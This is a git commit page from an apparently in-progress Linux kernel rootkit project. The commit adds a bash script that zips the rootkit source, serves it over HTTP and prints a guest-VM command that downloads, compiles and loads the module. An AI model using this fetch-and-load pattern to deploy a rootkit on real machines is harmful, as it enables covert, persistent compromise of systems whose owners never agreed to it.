mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 3ccf70d21ebc9fb101cee4febed2e0f37c84ba49
parent 94a561b9a43c444ee75f035d46e0f7f7a1fe4ccd
Author: djnn <[email protected]>
Date: Mon, 15 Sep 2025 23:49:34 +0900

feat: adding basic bash stager to help with development

Diffstat:
M.gitignore | 1+
Alocal-serve.sh | 53+++++++++++++++++++++++++++++++++++++++++++++++++++++

2 files changed, 54 insertions(+), 0 deletions(-)

diff --git a/.gitignore b/.gitignore
@@ -13,3 +13,4 @@
 */*.mod.c
 */*.o
 */.*.cmd
+*.zip
diff --git a/local-serve.sh b/local-serve.sh
@@ -0,0 +1,53 @@
+#!/usr/bin/env bash
+
+set -euo pipefail
+
+WATCH_DIR="./rootkit/"
+ZIP_FILE="rootkit.zip"
+PORT=6699
+
+cleanup() {
+    echo "Stopping directory watcher..."
+    kill "$WATCHER_PID" 2>/dev/null
+    echo "Exiting."
+    exit
+}
+
+trap cleanup SIGINT
+
+HOST_IP=$(ip route | awk '/virbr0/ {print $9}')
+COMMAND_GUEST="curl http://${HOST_IP}:${PORT}/${ZIP_FILE} -o ${ZIP_FILE} && unzip ${ZIP_FILE} && cd ${WATCH_DIR} && make compile && make load"
+
+if [ ! -d "$WATCH_DIR" ]; then
+    echo "Error: Directory '$WATCH_DIR' not found."
+    exit 1
+fi
+
+echo "-----------------------------------------------"
+echo "Host IP: ${HOST_IP}"
+echo "Execute the following command in your virtual machine to download and exec"
+echo ""
+echo "    ${COMMAND_GUEST}"
+echo ""
+echo "If it is your first time running the VM, you may need to run this in ${WATCH_DIR} directory:"
+echo ""
+echo "    sudo apt install make && make deps"
+echo ""
+echo "-----------------------------------------------"
+echo "Starting directory watcher in the background..."
+
+(
+    while inotifywait -r -e modify,create,delete,move "$WATCH_DIR"; do
+        echo "Change detected. Zipping directory..."
+        # Create the zip file, excluding the zip file itself and the lock file
+        zip -r "$ZIP_FILE" "$WATCH_DIR" -x "*$ZIP_FILE" -x "*.lock"
+        echo "Directory zipped to $ZIP_FILE"
+    done
+) &
+WATCHER_PID=$!
+
+sleep 1
+
+echo "Starting Python HTTP server on port ${PORT}..."
+cd "$(dirname "$WATCH_DIR")"
+python3 -m http.server ${PORT} --bind 0.0.0.0